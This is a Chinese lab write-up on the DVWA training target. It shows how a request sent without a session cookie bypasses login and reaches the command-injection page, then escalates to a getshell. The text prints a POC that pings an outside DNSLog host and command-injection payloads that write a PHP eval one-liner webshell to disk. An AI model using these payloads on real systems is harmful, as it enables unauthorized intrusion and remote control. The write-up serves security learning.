失效的访问控制漏洞复现实战

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

概述

什么是失效的访问控制?

失效访问控制有哪些种类?

失效访问控制的场景是什么样子的?

这篇文章复现漏洞的流程是怎么样的?

什么是失效的访问控制?

​ 失效的访问控制,其实就是系统对一些功能点做了访问限制或者权限的限制,但是由于程序开发时因各方面因素导致的缺陷,使这些限制并没有生效,从而产生了失效的访问控制漏洞。

失效访问控制有哪些种类?

  • 水平越权:在同级别账户中横向移动。
  • 垂直越权:普通用户获取管理员权限。

失效访问控制的场景是什么样子的?

​ 假设我们要用一个后台管理系统的添加用户的功能,首先要先要用后台管理员账号登录系统之后,点击添加用户功能才能进行添加,但是如果黑客知道了那个功能的路径与参数,黑客就可以尝试跳过登录过程,直接构造好请求包,然后发送请求包执行添加用户的功能,如果成功添加了用户,就能确定这里存在失效的访问控制漏洞。

​ 上面所说的场景是绕过登录直接执行某个功能,还有的情况就是登录之后的越权操作,比如审核员的身份只能审核文章,但是由于存在失效的访问控制漏洞,审核员还能拥有超级管理员的功能,可以删除文章,这就是越权漏洞,也属于失效的访问控制漏洞。

这篇文章复现漏洞的流程是怎么样的?

​ 在这里,我将会使用dvwa靶场来复现失效的访问控制漏洞。其中我们需要借助low级别的命令注入漏洞,由于dvwa靶场需要先登录,然后才能具有命令注入模块的使用功能,这个时候我们就可以利用失效的访问控制漏洞,直接绕过登录进行命令注入,最后利用这个失效的访问控制漏洞与命令注入漏洞getshell。

漏洞复现

环境准备

phpstudy

dvwa靶场

在环境准备好之后,我们就需要开始漏洞复现了,首先就需要构造请求包

构造请求包

构造请求包之前我们首先需要知道命令注入功能点的具体路径,通过对靶场路径与源码分析,我们知道了low级别的命令注入漏洞靶场路径是\WWW\dv\vulnerabilities\exec\source\low.php,于是我们可以先登录dvwa,找到命令注入漏洞,点击submit按钮进行抓包,抓包情况如下:

image-20230901132607430

如上图,通过以上操作,我们删除cookie就可以模拟绕过登录,然后需要手动指定命令注入漏洞的php代码的路径,然后在最后面添加自己想要执行的命令,这个请求包就是我们构造的请求包。

请求包构造好之后,我们如何确认具有失效的访问控制漏洞呢,所以就需要使用下面的poc来查看dnslog是否回显。

POC

通过以上请求包的构造,我们可以利用一下poc,验证一下命令是否能执行成功

ip=127.0.0.1%26ping+yuanboss.2iknuw.dnslog.cn&Submit=Submit

image-20230901130141304

image-20230901130042823

发现DNSLog中有回显,所以命令执行成功,存在失效的访问控制漏洞,接下来就要利用命令注入漏洞继续渗透,扩大危害,尝试写入webshell进行getshell。

写入webshell

ip=127.0.0.1%26echo <?php @eval($_POST['cmd']);?>&Submit=Submit
ip=127.0.0.1%26echo+"<%3fphp+%40eval($_POST['cmd'])%3b%3f>">yuanboss.php&Submit=Submit

BP发送数据包,注意:通过echo进行写入webshell的时候需要使用双引号引起一句话木马的代码,才能写入成功。

image-20230901125824989

中国蚁剑-getshell

image-20230901111442789

相关类似漏洞

与失效的访问控制类似的漏洞还有目录遍历,未授权访问漏洞

目录遍历

​ 目录遍历又叫做目录穿越,Directory Traversal。该漏洞出现在Web程序中,Web 用户通过某种方式,可以访问Web 根目录以外的文件,甚至执行系统命令。

造成目录遍历漏洞的原因:

文件包含

文件读取

RCE

未授权访问

常见的未授权访问漏洞就是Redis 未授权访问漏洞了,具体的漏洞复现可以查看我的这篇文章:未授权访问漏洞实战

Redis未授权访问漏洞存在以下危害:

image-20230901153549772

总结

​ 失效的访问控制漏洞一般都出现在需要登录的系统,这类系统一般都具有后台管理模块,并且具有权限划分,我们如果知道了某个功能的接口,就可以尝试直接请求接口,如果能成功完成接口的功能就说明存在这个漏洞了,危害大小与本身漏洞无关,而是和系统功能有关。

​ 通过信息收集我们可能收集到一些接口地址信息,如果没有登录账号,就可以尝试直接访问接口,看看能否越权访问,如果有低级别的账号,就可以尝试访问高级别身份的功能,看看能否垂直越权.

​ 如果无法绕过登录访问功能,或者无法实现垂直越权实现资源访问,但是收集到了接口地址信息,这个时候就需要留意一下CSRF攻击了,看看是否存在跨站请求伪造,如果存在CSRF就可以借助钓鱼的方式利用,甚至如果还发现了XSS漏洞,就可以配合收集到的接口信息,和CSRF打一套组合漏洞利用,从而让目标执行恶意请求。

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132629381